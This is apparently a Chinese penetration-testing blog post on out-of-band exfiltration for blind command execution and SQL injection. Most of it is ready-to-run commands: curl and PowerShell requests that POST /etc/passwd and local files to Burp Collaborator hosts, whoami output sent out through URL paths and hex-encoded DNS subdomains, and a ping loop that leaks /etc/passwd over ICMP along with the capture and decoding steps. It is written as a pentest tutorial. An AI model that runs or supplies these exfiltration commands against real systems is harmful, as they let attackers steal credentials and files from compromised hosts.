渗透测试之OOB

0x01 说明

渗透测试时有些时候会遇到执行命令/SQL注入看不到回显的情况无法确认命令是否执行成功,这个时候一般常见做法是:

  • 如果有Web服务,那么可以在Web目录下创建一个文件,然后通过http访问该文件即可(将命令执行结果写入到文件)
  • 通过DNSlog平台以将数据拼接为子域名,然后通过字符串解码获取数据
  • 通过将数据POST/GET到自建的HTTP Server上来获取数据
  • 通过ICMP获取数据

0x02 相关命令

一般情况下Linux执行拼接字符串中的命令可以使用如下两种方式:

# 使用反引号``:
echo `whoami`
# 使用$()进行变量引用
echo $(whoami)

若使用反引号后dnslog显示反引号内容则说明该机器是windows
以下内容使用Burp Suite的Collaborator Client进行演示

  1. POST数据到HTTP服务
  • linux:
echo 'test post data!' | curl -X POST -d @- rwr4322hirsq7p1i2ep090rz7qdh16.burpcollaborator.net
curl http://rwr4322hirsq7p1i2ep090rz7qdh16.burpcollaborator.net --request --data "`test post data | base64`"
# 读文件
cd  /etc && curl -X POST -d @passwd le3d1eunmz71803526rkra7mhdn4bt.burpcollaborator.net
curl -X POST -T /etc/passwd le3d1eunmz71803526rkra7mhdn4bt.burpcollaborator.net
  • windows:
    invoke-webrequest 需要 win8/win server2012 以上版本才能执行
powershell -c "$body=Get-Content -path C:\Users\administrator\desktop\1.txt;invoke-webrequest -uri http://k0lbj85v366gcd7a58drhbrhw82zqo.oastify.com -method Post -body $body"

2.GET数据到HTTP服务

# 未编码数据
curl rwr4322hirsq7p1i2ep090rz7qdh16.burpcollaborator.net/`whoami`
# base64编码
curl rwr4322hirsq7p1i2ep090rz7qdh16.burpcollaborator.net/`whoami|base64`
  1. DNS子域名解析:
curl `whoami`.rwr4322hirsq7p1i2ep090rz7qdh16.burpcollaborator.net
# 由于base64编码存在斜杠和等于号因此作为子域名传输时可能出现问题,这里使用十六进制编码
# 但由于子域名有长度限制,因此超出长度的应多次发送
curl `whoami | xxd -ps`.rwr4322hirsq7p1i2ep090rz7qdh16.burpcollaborator.net

4.icmp传输

#接收方开启监听
tcpdump 'icmp and src host 172.16.253.1' -w icmp.pcap
#发送
cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 172.16.253.137;done
#数据导出
echo "0x$(tshark -n -q -r icmp.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p

0x03 相关工具和平台

  1. DNSLog平台
  • http://ceye.io

    ceye.io

  • http://dnslog.cn

    dnslog.cn

  • Burp Suite自带的Collaborator Client

    Collaborator Client

  • SQL注入dnslog工具

    DnslogSqli

0x04 参考

  • https://xz.aliyun.com/t/2957

你可能感兴趣的:(渗透测试之OOB)